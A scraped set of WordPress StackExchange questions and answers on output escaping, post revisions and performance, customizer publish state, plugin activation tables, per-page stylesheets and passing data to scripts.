<p>I've come across situations where people have used either <code>esc_html()</code> or <code>esc_url()</code> with certain WP functions such as <code>home_url('/')</code>. An example being in the opening anchor tag of <code>&lt;a&gt;</code> link back to the homepage such as this:</p> <pre><code>&lt;a href="&lt;?php echo esc_url( home_url( '/' ) ); ?&gt;"&gt; </code></pre> <p>How do you know which WP functions need to be escaped and does it matter if you use <code>esc_html()</code> or <code>esc_url()</code>?</p> <p>Any advice or guidance would be wonderful.</p>
[ { "answer_id": 290356, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 2, "selected": false, "text": "<p>Any output of untrusted data (including data from database) must be sanitized. WordPress Codex describes available functions: <a href=\"https://codex.wordpress.org/Data_Validation\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Data_Validation</a></p>\n\n<p>Code sniffers, following <a href=\"https://codex.wordpress.org/WordPress_Coding_Standards\" rel=\"nofollow noreferrer\">WordPress Coding Standards</a>, require to sanitize output even from WordPress core functions. You can turn on such code sniffer in PhpStorm, for example.</p>\n\n<p>Sometime such a requirement is excessive, but it is better to follow coding standards to have more reliable code. </p>\n" }, { "answer_id": 290358, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 5, "selected": true, "text": "<p>Any that return data.</p>\n\n<ul>\n<li>If a function outputs internally, then it's taken responsibility for escaping</li>\n<li>if a function returns the data for use, it will be unescaped to avoid double escaping, it's your responsibility</li>\n</ul>\n\n<p>This is because you should always late escape so that there is no doubt if a variable is escaped.</p>\n\n<p>If the output of APIs such as <code>home_url</code> were pre-escaped, then this would no longer be true. It would also introduce double escaping, which can be used to break past escaping in some scenarios.</p>\n\n<p>Some further notes:</p>\n\n<ul>\n<li>don't bother to escape static strings, it's pointless</li>\n<li>don't try to wrap functions like <code>the_permalink</code> in <code>esc_url</code> etc, escaping functions are still functions, they aren't magic modifiers/highlighters telling PHP to secure something.</li>\n<li>Don't return complex HTML fragments in variables, return data, data doesn't need to be escaped, but escaping a complex HTML fragment is not easy, and usually impossible to do safely</li>\n<li>When using shortcodes/filters, make sure to escape the bits you add/modify, but leave the rest alone and trust it's been escaped, it's not your responsibility to escape output generated elsewhere in these situations. Having said that, don't trust it as an input either if it's being used to guide your own code</li>\n</ul>\n" } ]
2018/01/06
[ "https://wordpress.stackexchange.com/questions/290351", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
I've come across situations where people have used either `esc_html()` or `esc_url()` with certain WP functions such as `home_url('/')`. An example being in the opening anchor tag of `<a>` link back to the homepage such as this: ``` <a href="<?php echo esc_url( home_url( '/' ) ); ?>"> ``` How do you know which WP functions need to be escaped and does it matter if you use `esc_html()` or `esc_url()`? Any advice or guidance would be wonderful.
Any that return data. * If a function outputs internally, then it's taken responsibility for escaping * if a function returns the data for use, it will be unescaped to avoid double escaping, it's your responsibility This is because you should always late escape so that there is no doubt if a variable is escaped. If the output of APIs such as `home_url` were pre-escaped, then this would no longer be true. It would also introduce double escaping, which can be used to break past escaping in some scenarios. Some further notes: * don't bother to escape static strings, it's pointless * don't try to wrap functions like `the_permalink` in `esc_url` etc, escaping functions are still functions, they aren't magic modifiers/highlighters telling PHP to secure something. * Don't return complex HTML fragments in variables, return data, data doesn't need to be escaped, but escaping a complex HTML fragment is not easy, and usually impossible to do safely * When using shortcodes/filters, make sure to escape the bits you add/modify, but leave the rest alone and trust it's been escaped, it's not your responsibility to escape output generated elsewhere in these situations. Having said that, don't trust it as an input either if it's being used to guide your own code
290,385
<pre><code> &lt;div class="col-lg-4 col-md-4 col-sm-6 exhibitors-child"&gt; &lt;div class="exhibitors-border"&gt; &lt;?php the_post_thumbnail(); ?&gt; &lt;div class="find"&gt; &lt;a href="" data-toggle="modal" data-target="#exhibitors-child"&gt;&lt;small&gt;FIND OUT MORE&lt;/small&gt;&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endwhile; endif; wp_reset_query(); ?&gt; &lt;!-- Modal --&gt; &lt;div class="modal fade" id="exhibitors-child" tabindex="-1" role="dialog" aria-labelledby="exhibitors-childLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog" role="document"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-body"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-label="Close"&gt; &lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt; &lt;/button&gt; &lt;?php the_post_thumbnail(); ?&gt; &lt;h2&gt;&lt;?php echo get_field('name') ;?&gt;&lt;/h2&gt; &lt;p&gt;&lt;?php echo get_field('exhibitors_single_description') ;?&gt;&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
[ { "answer_id": 290364, "author": "andrewsandlin", "author_id": 131642, "author_profile": "https://wordpress.stackexchange.com/users/131642", "pm_score": 0, "selected": false, "text": "<p>Yes, it will affect performance to some degree. Revisions are stored in the database and if the database stores too much revision data then it will eventually affect site performance. </p>\n\n<p>Best thing to do is limit revision count in your wp-config.php</p>\n\n<pre><code>define( 'WP_POST_REVISIONS', 3 );\n</code></pre>\n" }, { "answer_id": 290369, "author": "David Sword", "author_id": 132362, "author_profile": "https://wordpress.stackexchange.com/users/132362", "pm_score": 4, "selected": true, "text": "<p>Having 2 revisions or 100,000 will not change front end performance in a default plugin-less WordPress setup</p>\n\n<p>However plugin and theme authors who do not query the database correctly, could end up accidentally searching/querying revisions, which could have some performance issues</p>\n\n<p>Here’s a snippet on it</p>\n\n<blockquote>\n <p>revisions take up space in your WordPress database. Some users believe that revisions can also affect some database queries run by plugins. If the plugin doesn’t specifically exclude post revisions, it might slow down your site by searching through them unnecessarily</p>\n</blockquote>\n" }, { "answer_id": 328310, "author": "Otto", "author_id": 2232, "author_profile": "https://wordpress.stackexchange.com/users/2232", "pm_score": 1, "selected": false, "text": "<p>No. Databases are smart, for the most part. If you have performance issues, then you need to find the actual problem and solve that directly. Having millions of rows in a well indexed database won't make any real difference. That's why indexes exist. </p>\n" }, { "answer_id": 397449, "author": "Michael DeWitt", "author_id": 214174, "author_profile": "https://wordpress.stackexchange.com/users/214174", "pm_score": 0, "selected": false, "text": "<p>I don't have the reputation to merely comment, but I believe that this question of post revisions affecting performance is still relevant today.</p>\n<p>There are two sides to this question of performance, the frontend and the backend (admin). One of my sites developed a problem where just a single page post was taking over two minutes to load in the editor.</p>\n<p>It was hard to troubleshoot as there was nothing in the PHP error log. The plugin &quot;Query Monitor&quot; said that there was just 257 database ops taking a total time of .31 seconds.</p>\n<p>There were no other performance issues on the frontend or backend. On the client side, the console reported a bunch of deprecated react components. The network waterfall showed a steady progression, but difficult for me to understand the cause from this information.</p>\n<p>Everything looked fine. To complicate matters, the editor would randomly load up the post in just over two seconds.</p>\n<p>There was nothing special about the page post except that it had 32 revisions which was way beyond every other post on the site. I trashed the original post and re-created it. Problem solved.</p>\n<p>I believe that the high number of revisions was the cause of the very slow loading time. To avoid this in the future, I have set max revisions to 4. It seems to me that this should be set to a sensible default as a best practice.</p>\n<p>I know this is long winded, but I am hopeful that it will save someone else a few hours of head scratching.</p>\n" }, { "answer_id": 408695, "author": "hexacube", "author_id": 225020, "author_profile": "https://wordpress.stackexchange.com/users/225020", "pm_score": 0, "selected": false, "text": "<p>In my case, deleting post revisions improved my site performance drastically. The average load time before and after clearing revisions from database were 10 seconds and 2 seconds respectively. I disabled post revisions in wp-config.php and cleaned my database using the sweep plugin.\nI run websites in ec2, this method even reduced my server infrastructure requirement.</p>\n" } ]
2018/01/07
[ "https://wordpress.stackexchange.com/questions/290385", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134400/" ]
``` <div class="col-lg-4 col-md-4 col-sm-6 exhibitors-child"> <div class="exhibitors-border"> <?php the_post_thumbnail(); ?> <div class="find"> <a href="" data-toggle="modal" data-target="#exhibitors-child"><small>FIND OUT MORE</small></a> </div> </div> </div> <?php endwhile; endif; wp_reset_query(); ?> <!-- Modal --> <div class="modal fade" id="exhibitors-child" tabindex="-1" role="dialog" aria-labelledby="exhibitors-childLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-body"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> <?php the_post_thumbnail(); ?> <h2><?php echo get_field('name') ;?></h2> <p><?php echo get_field('exhibitors_single_description') ;?></p> </div> </div> </div> </div> ```
Having 2 revisions or 100,000 will not change front end performance in a default plugin-less WordPress setup However plugin and theme authors who do not query the database correctly, could end up accidentally searching/querying revisions, which could have some performance issues Here’s a snippet on it > > revisions take up space in your WordPress database. Some users believe that revisions can also affect some database queries run by plugins. If the plugin doesn’t specifically exclude post revisions, it might slow down your site by searching through them unnecessarily > > >
290,433
<p>When you are using the wordpress customizer, if you don't make any changes to the settings, the wordpress customizer doesn't enable the publish button. And it shows like this:</p> <p><a href="https://i.stack.imgur.com/vSdkn.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vSdkn.jpg" alt="enter image description here"></a></p> <p>And I want it to be displayed like this after I make a change from my custom customizer control <strong>which is an input not linked to the customizer</strong>:</p> <p><a href="https://i.stack.imgur.com/iIRDR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iIRDR.png" alt="enter image description here"></a></p> <p>How can I enable the disabled publish button from my custom control when I change something with it? </p> <p>Thanks.</p>
[ { "answer_id": 290495, "author": "tpaksu", "author_id": 14452, "author_profile": "https://wordpress.stackexchange.com/users/14452", "pm_score": 0, "selected": false, "text": "<p>Actually, triggering the change event of an linked input did the trick.</p>\n" }, { "answer_id": 290496, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 0, "selected": false, "text": "<p>Without the a peek in your custom control, the exact solution can't be provided. But here you can try something like this in the customize-controls.js which should be enqueued like this: </p>\n\n<pre><code>function theme_name_panels_js() {\n wp_enqueue_script( 'theme_name-customize-controls', get_theme_file_uri( '/assets/js/customize-controls.js' ), array(), '1.0', true );\n}\nadd_action( 'customize_controls_enqueue_scripts', 'theme_name_panels_js' );\n</code></pre>\n\n<p>In your customize-controls.js you can try this where '<code>radio-image</code>' is the type of custom control and event is triggered on change of the radio button</p>\n\n<pre><code>( function( $, api ) {\n\napi.controlConstructor['radio-image'] = api.Control.extend( {\n ready: function() {\n var control = this;\n\n $( 'input:radio', control.container ).change(\n function() {\n control.setting.set( $( this ).val() );\n }\n );\n }\n} );\n} )( jQuery, wp.customize );\n</code></pre>\n" }, { "answer_id": 290536, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 3, "selected": true, "text": "<p>Just set the <code>saved</code> state to <code>false</code>:</p>\n\n<pre><code>wp.customize.bind( 'ready', function() {\n wp.customize.state( 'saved' ).set( false );\n} );\n</code></pre>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290433", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/14452/" ]
When you are using the wordpress customizer, if you don't make any changes to the settings, the wordpress customizer doesn't enable the publish button. And it shows like this: [![enter image description here](https://i.stack.imgur.com/vSdkn.jpg)](https://i.stack.imgur.com/vSdkn.jpg) And I want it to be displayed like this after I make a change from my custom customizer control **which is an input not linked to the customizer**: [![enter image description here](https://i.stack.imgur.com/iIRDR.png)](https://i.stack.imgur.com/iIRDR.png) How can I enable the disabled publish button from my custom control when I change something with it? Thanks.
Just set the `saved` state to `false`: ``` wp.customize.bind( 'ready', function() { wp.customize.state( 'saved' ).set( false ); } ); ```
290,437
<p>I am trying to create new WordPress plugin with object oriented programming.I want to create database when plugin activation and delete database when plugin deleting.Below is my code its not working for me.I have two files one is main plugin file other one is plugin functions included files.</p> <p>main file code as below:</p> <pre><code>&lt;?php /* Plugin Name: Test Reviews1 Plugin URI: https://test.in/ Description: This Test Plugin. Version: 1.0 Author: Test Author URI: https://test.in/ License: GPLv2 or later */ new test_plugin(); class test_plugin{ public function __construct(){ $this-&gt;plugin_dir = plugins_url( '' , __FILE__ ); include('inc/inc.php'); $this-&gt;security = new hidemysite_security(); } } </code></pre> <p>include file code as below:</p> <pre><code>&lt;?php class hidemysite_security{ public function __construct() { if (is_admin()) { register_activation_hook(__FILE__, array(&amp;$this, 'activate')); register_deactivation_hook( __FILE__, 'my_plugin_remove_database' ); } } public function activate() { global $wpdb; $table = $wpdb-&gt;prefix . 'md_things'; $charset = $wpdb-&gt;get_charset_collate(); $charset_collate = $wpdb-&gt;get_charset_collate(); $sql = "CREATE TABLE $table ( id mediumint(9) NOT NULL AUTO_INCREMENT, time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL, name tinytext NOT NULL, text text NOT NULL, url varchar(55) DEFAULT '' NOT NULL, PRIMARY KEY (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } public function my_plugin_remove_database() { global $wpdb; $table_name = $wpdb-&gt;prefix . 'md_things'; $sql = "DROP TABLE IF EXISTS $table_name"; $wpdb-&gt;query($sql); //delete_option("jal_db_version"); } // } </code></pre> <p>Could You Please Help Me ?</p>
[ { "answer_id": 290448, "author": "mukto90", "author_id": 57944, "author_profile": "https://wordpress.stackexchange.com/users/57944", "pm_score": 1, "selected": false, "text": "<p>Use this code instead-</p>\n\n<pre><code>class hidemysite_security{\n\n public function __construct() {\n if (is_admin()) {\n register_activation_hook(__FILE__, array( $this, 'activate'));\n register_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) );\n\n }\n }\n\n public function activate() {\n global $wpdb;\n $table = $wpdb-&gt;prefix . 'md_things';\n $charset = $wpdb-&gt;get_charset_collate();\n $charset_collate = $wpdb-&gt;get_charset_collate();\n $sql = \"CREATE TABLE $table (\n id mediumint(9) NOT NULL AUTO_INCREMENT,\n time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,\n name tinytext NOT NULL,\n text text NOT NULL,\n url varchar(55) DEFAULT '' NOT NULL,\n PRIMARY KEY (id)\n ) $charset_collate;\";\n\n require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\n dbDelta( $sql );\n } \n\n public function my_plugin_remove_database() {\n global $wpdb;\n $table_name = $wpdb-&gt;prefix . 'md_things';\n $sql = \"DROP TABLE IF EXISTS $table_name\";\n $wpdb-&gt;query($sql);\n //delete_option(\"jal_db_version\");\n } \n// \n}\n</code></pre>\n\n<p>These 2 lines were modified-</p>\n\n<pre><code>register_activation_hook(__FILE__, array( $this, 'activate'));\nregister_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) );\n</code></pre>\n" }, { "answer_id": 355656, "author": "Suraj Khanal", "author_id": 151972, "author_profile": "https://wordpress.stackexchange.com/users/151972", "pm_score": 1, "selected": false, "text": "<p>My suggestion is to register the activation and deactivation hook outside the class definition. </p>\n\n<pre><code>/*\n * Fired during plugin activation.\n **/\n class My_plugin_activator() {\n public static activate() {\n // write your db code here\n }\n }\n</code></pre>\n\n<p>.</p>\n\n<pre><code>/*\n * Fired during plugin deactivation.\n **/\n class My_plugin_deactivator() {\n public static deactivate() {\n // write your code here\n }\n }\n</code></pre>\n\n<p>Now in your plugin's main file</p>\n\n<pre><code>function activate_my_plugin() {\n My_plugin_activator::activate();\n}\n\nfunction deactivate_my_plugin() {\n My_plugin_deactivator::deactivate();\n}\n</code></pre>\n\n<p>Now register your function to the activation/deactivation hook.</p>\n\n<pre><code>register_activation_hook( __FILE__, 'activate_my_plugin' );\nregister_deactivation_hook( __FILE__, 'deactivate_my_plugin' );\n</code></pre>\n" }, { "answer_id": 368901, "author": "Mitaly Tabassum", "author_id": 189902, "author_profile": "https://wordpress.stackexchange.com/users/189902", "pm_score": 0, "selected": false, "text": "<p>though i was just trying to create table and the table was not created because i was not selecting the database name in query .after adding the name ,it worked perfectly\nthe code is following :</p>\n\n<pre><code> $query=\"CREATE TABLE `jobs`.`$dbp_tb_name` (\n `id` INT NOT NULL ,\n `pass` VARCHAR(10) NOT NULL ,\n `name` VARCHAR(30) NOT NULL ,\n `phn` INT NOT NULL\n ) ENGINE = InnoDB;\" . $wpdb-&gt;get_charset_collate() . \";\";\n</code></pre>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290437", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134441/" ]
I am trying to create new WordPress plugin with object oriented programming.I want to create database when plugin activation and delete database when plugin deleting.Below is my code its not working for me.I have two files one is main plugin file other one is plugin functions included files. main file code as below: ``` <?php /* Plugin Name: Test Reviews1 Plugin URI: https://test.in/ Description: This Test Plugin. Version: 1.0 Author: Test Author URI: https://test.in/ License: GPLv2 or later */ new test_plugin(); class test_plugin{ public function __construct(){ $this->plugin_dir = plugins_url( '' , __FILE__ ); include('inc/inc.php'); $this->security = new hidemysite_security(); } } ``` include file code as below: ``` <?php class hidemysite_security{ public function __construct() { if (is_admin()) { register_activation_hook(__FILE__, array(&$this, 'activate')); register_deactivation_hook( __FILE__, 'my_plugin_remove_database' ); } } public function activate() { global $wpdb; $table = $wpdb->prefix . 'md_things'; $charset = $wpdb->get_charset_collate(); $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table ( id mediumint(9) NOT NULL AUTO_INCREMENT, time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL, name tinytext NOT NULL, text text NOT NULL, url varchar(55) DEFAULT '' NOT NULL, PRIMARY KEY (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } public function my_plugin_remove_database() { global $wpdb; $table_name = $wpdb->prefix . 'md_things'; $sql = "DROP TABLE IF EXISTS $table_name"; $wpdb->query($sql); //delete_option("jal_db_version"); } // } ``` Could You Please Help Me ?
Use this code instead- ``` class hidemysite_security{ public function __construct() { if (is_admin()) { register_activation_hook(__FILE__, array( $this, 'activate')); register_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) ); } } public function activate() { global $wpdb; $table = $wpdb->prefix . 'md_things'; $charset = $wpdb->get_charset_collate(); $charset_collate = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $table ( id mediumint(9) NOT NULL AUTO_INCREMENT, time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL, name tinytext NOT NULL, text text NOT NULL, url varchar(55) DEFAULT '' NOT NULL, PRIMARY KEY (id) ) $charset_collate;"; require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); dbDelta( $sql ); } public function my_plugin_remove_database() { global $wpdb; $table_name = $wpdb->prefix . 'md_things'; $sql = "DROP TABLE IF EXISTS $table_name"; $wpdb->query($sql); //delete_option("jal_db_version"); } // } ``` These 2 lines were modified- ``` register_activation_hook(__FILE__, array( $this, 'activate')); register_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) ); ```
290,455
<p>I have several different pages. Every one of them has different css links. Rather than the css links all items are same in the head element of those pages. I need to shift those head element to <code>header.php</code> so that I can include head using <code>get_header()</code>. </p> <p>So How can I load different css file for different pages? I have around 20 different pages, so load file after condition check is bit messy to me.<br> Is there any better approach to do than <a href="https://wordpress.stackexchange.com/questions/222565/how-to-load-different-css-in-different-header">this</a>?<br> If possible suggest me to solve this problem using custom plugin?</p> <p><strong>page 1:</strong> </p> <pre><code>&lt;html lang="en"&gt; &lt;head&gt; &lt;link rel="stylesheet" href="css/one.css" /&gt; ....... &lt;/head&gt; </code></pre> <p><strong>page 2:</strong> </p> <pre><code>&lt;html lang="en"&gt; &lt;head&gt; &lt;link rel="stylesheet" href="css/two.css" /&gt; ....... &lt;/head&gt; </code></pre>
[ { "answer_id": 290457, "author": "Andrew", "author_id": 50767, "author_profile": "https://wordpress.stackexchange.com/users/50767", "pm_score": 2, "selected": false, "text": "<p>You can achieve this using <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">conditionals</a> inside the function enqueuing your styles.</p>\n\n<pre><code>function wpdocs_theme_name_scripts() {\n wp_enqueue_style( 'global', get_stylesheet_uri() );\n\n if ( is_page(5) ) {\n wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' );\n }\n}\nadd_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' );\n</code></pre>\n\n<p>If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like <code>page-5.php</code>. Calling <code>wp_enqueue_scripts</code> from within these template files only loads the assets for those pages.</p>\n" }, { "answer_id": 290530, "author": "Liam Stewart", "author_id": 121955, "author_profile": "https://wordpress.stackexchange.com/users/121955", "pm_score": 1, "selected": false, "text": "<p>If you wish to do it in your template you can do the following.</p>\n\n<p>You can learn more about the is_page function here: <a href=\"https://developer.wordpress.org/reference/functions/is_page/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/is_page/</a> </p>\n\n<pre><code>&lt;html lang=\"en\"&gt;\n&lt;head&gt;\n &lt;?php if ( is_page(1) ): //Change this number to id of page ?&gt; \n &lt;link rel=\"stylesheet\" href=\"css/one.css\" /&gt;\n &lt;?php endif; if ( is_page(2) ): //Change this number to id of page ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/two.css\" /&gt;\n &lt;?php endif; ?&gt;\n .......\n&lt;/head&gt;\n</code></pre>\n" }, { "answer_id": 291497, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 0, "selected": false, "text": "<pre><code>&lt;html lang=\"en\"&gt;\n &lt;head&gt;\n&lt;?php global $post;\nif( $post-&gt;ID == 346) { ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/one.css\" /&gt;\n&lt;?php } ?&gt;\n elseif ( $post-&gt;ID == 342){ ?&gt; \n &lt;link rel=\"stylesheet\" href=\"css/two.css\" /&gt;\n &lt;?php } else{ //Change this number to id of page ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/three.css\" /&gt;\n &lt;?php } ?&gt;\n .......\n &lt;/head&gt;\n</code></pre>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290455", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134458/" ]
I have several different pages. Every one of them has different css links. Rather than the css links all items are same in the head element of those pages. I need to shift those head element to `header.php` so that I can include head using `get_header()`. So How can I load different css file for different pages? I have around 20 different pages, so load file after condition check is bit messy to me. Is there any better approach to do than [this](https://wordpress.stackexchange.com/questions/222565/how-to-load-different-css-in-different-header)? If possible suggest me to solve this problem using custom plugin? **page 1:** ``` <html lang="en"> <head> <link rel="stylesheet" href="css/one.css" /> ....... </head> ``` **page 2:** ``` <html lang="en"> <head> <link rel="stylesheet" href="css/two.css" /> ....... </head> ```
You can achieve this using [conditionals](https://codex.wordpress.org/Conditional_Tags) inside the function enqueuing your styles. ``` function wpdocs_theme_name_scripts() { wp_enqueue_style( 'global', get_stylesheet_uri() ); if ( is_page(5) ) { wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' ); } } add_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' ); ``` If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like `page-5.php`. Calling `wp_enqueue_scripts` from within these template files only loads the assets for those pages.
290,464
<p>I’m trying to pass a variable from the template to js, but with no luck. </p> <p>I’ve tried using <code>wp_localize_script</code>, and it seems to be working fine when attached to <code>wp_enqueue_scripts</code> action, but it doesn’t work when called from within template. Do my only resort is to use HTML &amp; <code>data-</code> for handling this? </p> <p>It would be that great though, since I’m passing the whole <code>wp_query</code> there.</p> <p>My function is basically a wrapper on a custom WP_Query that allows load more functionality on multiple loops.</p> <pre><code>function load_more_scripts() { wp_register_script( 'loadmore', get_stylesheet_directory_uri() . '/assets/js/myloadmore.js', array( 'jquery' ) ); wp_enqueue_script( 'my_loadmore' ); } add_action( 'wp_enqueue_scripts', 'load_more_scripts' ); // this function is later called in the template function get_list($query_args) { if ( is_array( $query_args ) ) { $the_query = new WP_Query( $query_args ); } //...some more code $instance = wp_generate_uuid4(); wp_localize_script( 'loadmore', 'loadmore_params_' . $instance , array( 'ajaxurl' =&gt; site_url() . '/wp-admin/admin-ajax.php', // WordPress AJAX 'posts' =&gt; json_encode( $the_query-&gt;query_vars ), // everything about your loop is here 'current_page' =&gt; get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1, 'max_page' =&gt; $the_query-&gt;max_num_pages ) ); } </code></pre> <p><strong>Update</strong> It seems the issue can be in localizing multiple scripts. If you register the script to load in the footer, version without adding an <code>$instance</code> to <code>load_more_params</code> seems to work. </p>
[ { "answer_id": 290457, "author": "Andrew", "author_id": 50767, "author_profile": "https://wordpress.stackexchange.com/users/50767", "pm_score": 2, "selected": false, "text": "<p>You can achieve this using <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">conditionals</a> inside the function enqueuing your styles.</p>\n\n<pre><code>function wpdocs_theme_name_scripts() {\n wp_enqueue_style( 'global', get_stylesheet_uri() );\n\n if ( is_page(5) ) {\n wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' );\n }\n}\nadd_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' );\n</code></pre>\n\n<p>If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like <code>page-5.php</code>. Calling <code>wp_enqueue_scripts</code> from within these template files only loads the assets for those pages.</p>\n" }, { "answer_id": 290530, "author": "Liam Stewart", "author_id": 121955, "author_profile": "https://wordpress.stackexchange.com/users/121955", "pm_score": 1, "selected": false, "text": "<p>If you wish to do it in your template you can do the following.</p>\n\n<p>You can learn more about the is_page function here: <a href=\"https://developer.wordpress.org/reference/functions/is_page/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/is_page/</a> </p>\n\n<pre><code>&lt;html lang=\"en\"&gt;\n&lt;head&gt;\n &lt;?php if ( is_page(1) ): //Change this number to id of page ?&gt; \n &lt;link rel=\"stylesheet\" href=\"css/one.css\" /&gt;\n &lt;?php endif; if ( is_page(2) ): //Change this number to id of page ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/two.css\" /&gt;\n &lt;?php endif; ?&gt;\n .......\n&lt;/head&gt;\n</code></pre>\n" }, { "answer_id": 291497, "author": "Dharmishtha Patel", "author_id": 135085, "author_profile": "https://wordpress.stackexchange.com/users/135085", "pm_score": 0, "selected": false, "text": "<pre><code>&lt;html lang=\"en\"&gt;\n &lt;head&gt;\n&lt;?php global $post;\nif( $post-&gt;ID == 346) { ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/one.css\" /&gt;\n&lt;?php } ?&gt;\n elseif ( $post-&gt;ID == 342){ ?&gt; \n &lt;link rel=\"stylesheet\" href=\"css/two.css\" /&gt;\n &lt;?php } else{ //Change this number to id of page ?&gt;\n &lt;link rel=\"stylesheet\" href=\"css/three.css\" /&gt;\n &lt;?php } ?&gt;\n .......\n &lt;/head&gt;\n</code></pre>\n" } ]
2018/01/08
[ "https://wordpress.stackexchange.com/questions/290464", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121208/" ]
I’m trying to pass a variable from the template to js, but with no luck. I’ve tried using `wp_localize_script`, and it seems to be working fine when attached to `wp_enqueue_scripts` action, but it doesn’t work when called from within template. Do my only resort is to use HTML & `data-` for handling this? It would be that great though, since I’m passing the whole `wp_query` there. My function is basically a wrapper on a custom WP\_Query that allows load more functionality on multiple loops. ``` function load_more_scripts() { wp_register_script( 'loadmore', get_stylesheet_directory_uri() . '/assets/js/myloadmore.js', array( 'jquery' ) ); wp_enqueue_script( 'my_loadmore' ); } add_action( 'wp_enqueue_scripts', 'load_more_scripts' ); // this function is later called in the template function get_list($query_args) { if ( is_array( $query_args ) ) { $the_query = new WP_Query( $query_args ); } //...some more code $instance = wp_generate_uuid4(); wp_localize_script( 'loadmore', 'loadmore_params_' . $instance , array( 'ajaxurl' => site_url() . '/wp-admin/admin-ajax.php', // WordPress AJAX 'posts' => json_encode( $the_query->query_vars ), // everything about your loop is here 'current_page' => get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1, 'max_page' => $the_query->max_num_pages ) ); } ``` **Update** It seems the issue can be in localizing multiple scripts. If you register the script to load in the footer, version without adding an `$instance` to `load_more_params` seems to work.
You can achieve this using [conditionals](https://codex.wordpress.org/Conditional_Tags) inside the function enqueuing your styles. ``` function wpdocs_theme_name_scripts() { wp_enqueue_style( 'global', get_stylesheet_uri() ); if ( is_page(5) ) { wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' ); } } add_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' ); ``` If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like `page-5.php`. Calling `wp_enqueue_scripts` from within these template files only loads the assets for those pages.
290,510
<p>I want to use a method from a plugin as a hook, not the callback. I want to use a custom function I wrote as the callback, that gets triggered when a particular method from a plugin runs. Essentially something like :</p> <pre><code>add_action( array( "NAME OF CLASS", NAME OF METHOD" ), "MY CUSTOM FUNCTION" ) ) </code></pre> <p>I can't figure out how to do this, any help or direction would be greatly appreciated!</p> <p>I've verified the method and class exist in functions.php with the method_exists() function.</p> <p>EDIT:</p> <p>I'm using plugins called Groups and Groups_File_Access to handle file access and downloads on my site. The class is "Groups_File_Access"" and the method inside is "groups_file_served". I did not write this plugin. That method gets triggered when someone accesses a file and I want to run a custom function when "groups_file_served" get called by hooking onto it. Was trying to avoid editing the plugin itself, but looks like I'm going to need to.</p>
